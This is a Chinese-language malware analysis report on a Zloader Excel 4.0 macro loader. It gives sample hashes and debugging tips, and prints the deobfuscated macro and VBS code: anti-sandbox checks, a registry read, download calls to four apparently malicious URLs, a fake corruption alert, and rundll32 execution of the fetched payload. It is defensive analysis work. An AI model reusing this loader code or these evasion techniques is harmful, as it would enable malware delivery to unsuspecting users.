Zloader分析报告
基本信息
样本基本信息
名称 | order_93.xls |
---|---|
样本类型 | xls |
恶意类型 | 加载器 |
样本MD5 | ea2a84383a2ef3bdcea801e0f22a0072 |
样本SHA1 | f74d0b4ac53ac4a9d898a77fb050328495b971f3 |
主要执行流程
样本启用excel4.0宏,进行一系列反沙箱行为之后,创建vbs下载并执行文件。
关键技术概览
- 代码被散乱在各个单元格之中
- auto_open属性被隐藏
- 利用了excel4.0宏代码
- 多种反沙箱,反调试技术
- 混淆对抗静态分析
详细分析
工具静态分析
程序利用了excel4.0宏,利用github上的开源项目xlmdeobfuscator,可以直接提取出宏代码。
动态调试
程序的宏代码散乱在各个单元格之中,加了很严重的混淆,且auto_open单元格被隐藏,否则可以在名称管理器 中找到auto_open
想要调试就必须要开启宏,开启宏就会执行auto_open单元格里面的内容。
这里有两种方法来调试
- 将auto_open单元格中的内容设置为halt(),此时宏已经暂停。再将原来的值复制回去,然后单步调试
- 修改auto_open属性,利用offvis,分析excel格式,如下路径中存放着lbl结构
lbl结构存放着特定的名称,其中fHidden标志位保留着是否在名称管理器中显示,
fbuiltin指定定义的名称是否表示内置名称
如果fBuiltin为0,则此字段必须满足与XLNameUnicodeString结构的name字段相同的限制。如果fBuiltin为1,则name字段用于内置名称
nameascii字段为0x01,对应着下表的auuto_open,因此需要将fbuiltin修改为0,auto_open功能失效
分析
IF(GET.WINDOW(7),GOTO(R33146C43),)//窗口不能隐藏
IF(GET.WINDOW(20),,GOTO(R33146C43))//窗口必须最大化
IF(GET.WINDOW(23)<3,GOTO(R33146C43),)//窗口不能最小化和restored
IF(GET.WORKSPACE(31),GOTO(R33146C43),)//宏是否执行单步运行
IF(GET.WORKSPACE(13)<770,GOTO(R33146C43),)//检测工作环境的宽
IF(GET.WORKSPACE(14)<390,GOTO(R33146C43),)//检测工作环境的高
IF(GET.WORKSPACE(19),,GOTO(R33146C43))//检测电脑是否存在鼠标
IF(GET.WORKSPACE(42),,GOTO(R33146C43))//检测电脑是否能播放声音
IF(ISNUMBER(SEARCH(""Windows"",GET.WORKSPACE(1))),,GOTO(R33146C43))//检测是否在Windows环境中
首先进行了一系列沙箱检测
Files: path C:\Users\Public\FsWhHWf.vbs, access 3
On Error Resume Next
Set CAA = CreateObject("WScript.Shell")
Set cdtQbBq = CreateObject("Scripting.FileSystemObject")
Set zgVEMWV = cdtQbBq.CreateTextFile("C:\Users\Public\DC6PdmLB.txt", True)
zgVEMWV.WriteLine(CAA.RegRead("HKCU\Software\Microsoft\Office\GET.WORKSPACE(2)\Excel\Security\VBAWarnings"))
zgVEMWV.Close
创建了一个文件判断注册表HKCU\Software\Microsoft\Office\GET.WORKSPACE(2)\Excel\Security\VBAWarnings,
此注册表包含了启用宏通知设置,而启用如果包含字符为1,则一直设置为启用宏,而一般沙箱会有此效果,因此判断此处起到了反沙箱的作用
CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://wireborg.com/wp-keys.php","C:\Users\Public\lxlGZ4A.html",0,0)
FILES("C:\Users\Public\lxlGZ4A.html")
IF(ISERROR(R38565C99),GOTO(R38572C99),)
[TRUE] GOTO(R38572C99)
CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"http://zmedia.shwetech.com/wp- keys.php","C:\Users\Public\lxlGZ4A.html",0,0)
FILES("C:\Users\Public\lxlGZ4A.html")
IF(ISERROR(R38573C99),GOTO(R38580C99),)
[TRUE] GOTO(R38580C99)
CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://datalibacbi.ml/wp- keys.php","C:\Users\Public\lxlGZ4A.html",0,0)
FILES("C:\Users\Public\lxlGZ4A.html")
IF(ISERROR(R38581C99),GOTO(R38588C99),)
[TRUE] GOTO(R38588C99)
CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://procacardenla.ga/wp-keys.php","C:\Users\Public\lxlGZ4A.html",0,0)
ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.") CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","C:\Users\Public\lxlGZ4A.html,DllRegisterServer",0,5)
GOTO(R33146C43)
CLOSE(FALSE)
遍历这4个网址依次进行下载至"C:\Users\Public\lxlGZ4A.html每次下载都会对大小进行效验,如果大于40000,则会弹窗,且用rundll32.exe运行下载的文件
4个网址如下:
https://wireborg.com/wp-keys.php
http://zmedia.shwetech.com/wp-keys.php
https://datalibacbi.ml/wp-keys.php
https://procacardenla.ga/wp-keys.php
M1UW = "https://wireborg.com/wp-keys.php"
U4Uo = "http://zmedia.shwetech.com/wp-keys.php"
pqlyh = "https://datalibacbi.ml/wp-keys.php"
OeDOJy = "https://procacardenla.ga/wp-keys.php"
DcH = Array(M1UW,U4Uo,pqlyh,OeDOJy)
Dim OJxd: Set OJxd = CreateObject("MSXML2.ServerXMLHTTP.6.0")
Function Uj8Ty(data):
OJxd.setOption(2) = 13056
OJxd.Open "GET", data, False
OJxd.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
OJxd.Send
Uj8Ty = OJxd.Status
End Function
For Each o37s4 in DcH
If Uj8Ty(o37s4) = 200 Then
Dim qjDgRsx: Set qjDgRsx = CreateObject("ADODB.Stream")
qjDgRsx.Open
qjDgRsx.Type = 1
qjDgRsx.Write OJxd.ResponseBody
qjDgRsx.SaveToFile "C:\Users\Public\ezNJJrCR.html", 2
qjDgRsx.Close
Exit For
如果下载失败,则会创建如上的CiOnQpVy.vbs文件对4个url遍历下载到ezNJJrCR.html。
Set b7H = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
b7H.Document.Application.ShellExecute "rundll32.exe","C:\Users\Public\ezNJJrCR.html,DllRegisterServer","C:\Windows\System32",Null,0
启动下载的ezNJJrCR.html